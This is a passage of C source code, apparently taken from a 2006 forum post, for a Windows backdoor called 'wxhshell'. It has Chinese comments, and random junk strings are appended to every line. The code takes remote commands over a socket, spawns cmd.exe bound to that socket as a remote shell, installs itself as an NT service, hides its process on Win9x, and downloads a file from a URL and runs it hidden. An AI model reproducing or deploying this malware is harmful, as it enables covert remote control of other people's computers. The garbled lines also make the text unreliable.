  k ;^$Pd?t  
  // 帮助 Uoe{,4T  
  case '?': { ~P'.R.e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4gen,^Ij  
    break; M G$+Blw>  
  } ;M.Q=#;E  
  // 安装 UfX~GC;B  
  case 'i': { G?}?>O  
    if(Install()) X<,QSTP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Exvuo`F  
    else #%[;v K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W4o8]&A  
    break; q TJ0}F  
    } M#gxi N  
  // 卸载 "%Ok3Rvv  
  case 'r': { ." xP {  
    if(Uninstall()) m8L *LB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KM;H '~PZi  
    else ,1{qZ(l1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a]r+np]vTy  
    break; t)&U'^  
    } 3Z" ;a  
  // 显示 wxhshell 所在路径 ?+Gt?-! 5q  
  case 'p': { &b|RoPV  
    char svExeFile[MAX_PATH]; vQ}ZfP  
    strcpy(svExeFile,"\n\r"); YD[HBF)~j  
      strcat(svExeFile,ExeFile); 5[4wN( )  
        send(wsh,svExeFile,strlen(svExeFile),0); qHub+"2  
    break; -*k2:i`  
    } &za }TH m  
  // 重启 <J<"`xKL  
  case 'b': { K80f_ iT 5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +KbkdY Z  
    if(Boot(REBOOT)) b,^ "-r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TO.b- ;  
    else { yn\c;Z  
    closesocket(wsh); Ss%Cf6qdWL  
    ExitThread(0); g)#?$OhP"  
    } dM;\)jm  
    break;  oE+P=  
    } AAQ!8!  
  // 关机 U,W MP<5&  
  case 'd': { ^UKAD'_#%O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 684& H8  
    if(Boot(SHUTDOWN)) _]zX W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tM]Gu?6  
    else { 7y=O!?*  
    closesocket(wsh); {rcN_N%  
    ExitThread(0); s;I @En  
    } "<=4]Z  
    break; 59zWB,y(P  
    } a=}1`Q  
  // 获取shell uLzE'Z mV  
  case 's': { Zp7Pw   
    CmdShell(wsh); nook/7]  
    closesocket(wsh); U3N d\b'0  
    ExitThread(0); ~2k.x*$  
    break; z0rYzn?MR  
  } cjN)3L{  
  // 退出 F\r"Y)|b=  
  case 'x': { "d)Yq Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #ELe W3 S}  
    CloseIt(wsh); b\0>uU  
    break; B2kZ_4rB  
    } 2VY7?1Ab(@  
  // 离开 v's1 &%sM  
  case 'q': { trDw|WA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f!kZyD7  
    closesocket(wsh); )l`Ks  
    WSACleanup(); 2L&c91=wE  
    exit(1); lW?}Ts ~'  
    break; q7lC}'2fu  
        } _G'ki.[S7  
  } 82@^vX  
  } ?7Cm+J  
>>T7;[h  
  // 提示信息 jVnTpa!A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8vuTF*{yZ  
} o6A$)m5V  
  } hM]Z T5;<  
H/{@eaV  
  return; y^ skE{  
} /C8}5)  
zd5=W"Y;]  
// shell模块句柄 {A==av  
int CmdShell(SOCKET sock) fJr EDj4(  
{ _S{TjGZ&  
STARTUPINFO si; oW^x=pS9  
ZeroMemory(&si,sizeof(si)); CaZc{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1|{s8[;8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _{`Z?lt  
PROCESS_INFORMATION ProcessInfo; >s5}pkAv|e  
char cmdline[]="cmd"; =J1V?x=l@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p K-tj  
  return 0; }ex4dhx2M  
} {LjzkXs  
^>E>\uz0v  
// 自身启动模式 ~u$ cX1M  
int StartFromService(void) !U% |pa  
{ ^>an4UJ t  
typedef struct B]tj0FB`-*  
{ RVA ku  
  DWORD ExitStatus; _b<;n|^  
  DWORD PebBaseAddress; KyrZ&E.`  
  DWORD AffinityMask; A@>/PB6n  
  DWORD BasePriority; (qFZF7(Xa  
  ULONG UniqueProcessId; Lan|(!aW  
  ULONG InheritedFromUniqueProcessId; t)j$lmQn  
}   PROCESS_BASIC_INFORMATION; P-B5-Nz  
R|*0_!O:[  
PROCNTQSIP NtQueryInformationProcess; CtMqE+j^  
h F+aL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {v0r'+`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #qVTB@d  
9@CRL=  
  HANDLE             hProcess; 8|@) #:  
  PROCESS_BASIC_INFORMATION pbi; jv.tg,c_6  
vk E]$4P[$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i&H^xgm  
  if(NULL == hInst ) return 0; j-BNHX  
JL G!;sov  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C')KZ|JIC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *eHa4I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |?J57(  
<B>qE a_I  
  if (!NtQueryInformationProcess) return 0; >bWpj8Kv  
YT?Lt!cl=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m4~ |z  
  if(!hProcess) return 0; T/ECW  
kk`K;`[tB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G~y:ZEnN[  
Rw `ezC#  
  CloseHandle(hProcess); 3ux7^au  
[<,7LG<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $yi:0t8t  
if(hProcess==NULL) return 0; Ub f5 :  
CN(-Jd.b  
HMODULE hMod; }&+,y<>   
char procName[255]; gpyio1V>  
unsigned long cbNeeded; JYj*.Q0  
1\,k^Je7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q4 &P\V  
MS#"TG/)  
  CloseHandle(hProcess); .aO6Y+Y  
<_8b AO8\  
if(strstr(procName,"services")) return 1; // 以服务启动 6h5g!GQD  
mCt/\  
  return 0; // 注册表启动 cZ)JvU9]  
} \(7A7~  
vTFG*\Cq  
// 主模块 ZRYlm$C  
int StartWxhshell(LPSTR lpCmdLine) :vIJ>6lIR  
{ xO:h[  
  SOCKET wsl; XK\nOHLS  
BOOL val=TRUE; + a*Ic8*  
  int port=0; 1o/(fy  
  struct sockaddr_in door; sg-^ oy*^  
93D}0kp  
  if(wscfg.ws_autoins) Install(); yw:%)b{  
TU)Pi.Aa  
port=atoi(lpCmdLine); 4Ia'Yr  
pHb,*C</  
if(port<=0) port=wscfg.ws_port; M 2| k.  
DM v;\E~D  
  WSADATA data; JE{ cZ<NNH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; msCz\8Xd  
g&$5!ifgi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   du }HTrsC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %pWJ2J@  
  door.sin_family = AF_INET; ,F->*=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ea @ H  
  door.sin_port = htons(port); cXt&k  
0TV16 --  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NG3:=  
closesocket(wsl); <(TAA15Xol  
return 1; |FT.x9e-  
} ^m D$#  
mpD.x5jm<  
  if(listen(wsl,2) == INVALID_SOCKET) { WwoT~O8R  
closesocket(wsl); Ux?G:LLz  
return 1; g qORE/[  
} f%_$RdU  
  Wxhshell(wsl); A #SO}c  
  WSACleanup(); B!`.,3  
p cUccQ  
return 0; 3,i`FqQa  
i@P= *lLD  
} COW lsca  
)40YA\V  
// 以NT服务方式启动 9`/ywt3Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NR&a er  
{ B^/Cx  
DWORD   status = 0; gjK: a@{  
  DWORD   specificError = 0xfffffff; Bk.`G)t  
yTbtS-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <MO40MP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %NlmLWF.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >~_>.R+{  
  serviceStatus.dwWin32ExitCode     = 0; b)XGr?  
  serviceStatus.dwServiceSpecificExitCode = 0; k-*k'S_  
  serviceStatus.dwCheckPoint       = 0; 8zeD%Uv  
  serviceStatus.dwWaitHint       = 0; <.lN'i;(  
T|oDJ]\J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *x#5S.i1  
  if (hServiceStatusHandle==0) return; FDFVhcr  
&,XPMT  
status = GetLastError(); b0%#=KMi  
  if (status!=NO_ERROR) zhRF>Y`  
{ S)2Uoj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $1Z3yb^  
    serviceStatus.dwCheckPoint       = 0; A-\n"}4  
    serviceStatus.dwWaitHint       = 0; b1e)w?n  
    serviceStatus.dwWin32ExitCode     = status; \q-["W34  
    serviceStatus.dwServiceSpecificExitCode = specificError; bw#\"uJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s5d[sx  
    return; tUfze9m  
  } odcrP\S  
kmfz.:j{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /xA`VyHO  
  serviceStatus.dwCheckPoint       = 0; aC'#H8e|j  
  serviceStatus.dwWaitHint       = 0; CS"k0V44}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1*@Q~f:Uk  
} G in  
\=W t{  
// 处理NT服务事件,比如:启动、停止 {2|sk9?W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5= MM^$QG  
{ oFGgr2Re  
switch(fdwControl) : SD3  
{ 6Vu??qBy  
case SERVICE_CONTROL_STOP: @yPI$"Ma  
  serviceStatus.dwWin32ExitCode = 0; V3pn@'pr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =8qhK=&]  
  serviceStatus.dwCheckPoint   = 0; !G ~\9  
  serviceStatus.dwWaitHint     = 0; #DTBdBh?I  
  { EX3;|z@5;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'aZAWY d  
  } 97 !VH> MX  
  return; 5i3 nz=~o  
case SERVICE_CONTROL_PAUSE: 9EZh~tdV[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )i.\q   
  break; zpxy X|  
case SERVICE_CONTROL_CONTINUE: ? v@q&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; );F /P0P  
  break; @(tiPV  
case SERVICE_CONTROL_INTERROGATE: ==7=1QfP  
  break; 8\Z/mU*4  
}; o648 xUP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f=MR.\  
} bzMs\rj\  
>\!>CuU  
// 标准应用程序主函数 .3,Ow(3l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0 .t1p(x;  
{ \?.M1a[  
P\|i<Ds_M  
// 获取操作系统版本 {7q +3f <  
OsIsNt=GetOsVer(); ?jBh=X\]:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m`ab5<%Gn  
@)wNINvD  
  // 从命令行安装 G9\@&=  
  if(strpbrk(lpCmdLine,"iI")) Install(); (kI@U![u  
kIUb`b>B  
  // 下载执行文件 .hXdXY  
if(wscfg.ws_downexe) { B,dKpz;kFg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HV6'0_R0  
  WinExec(wscfg.ws_filenam,SW_HIDE); v:] AS:  
} K_~SJbl  
[R[Suf  
if(!OsIsNt) { F{aM6I  
// 如果时win9x,隐藏进程并且设置为注册表启动 # OQ(oyT  
HideProc(); #6<9FY#  
StartWxhshell(lpCmdLine); 9Lxj ]W2^  
} ]hkway  
else FmRa]31W  
  if(StartFromService()) e6?h4}[+*  
  // 以服务方式启动 ;yH1vX  
  StartServiceCtrlDispatcher(DispatchTable); |LDo<pE*V4  
else D Psf]  
  // 普通方式启动 sh"\ kk9  
  StartWxhshell(lpCmdLine); 2L_ts=  
bMw)> 4  
return 0; lTv_%hUp  
}
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只看该作者 1 发表于: 2006-10-10
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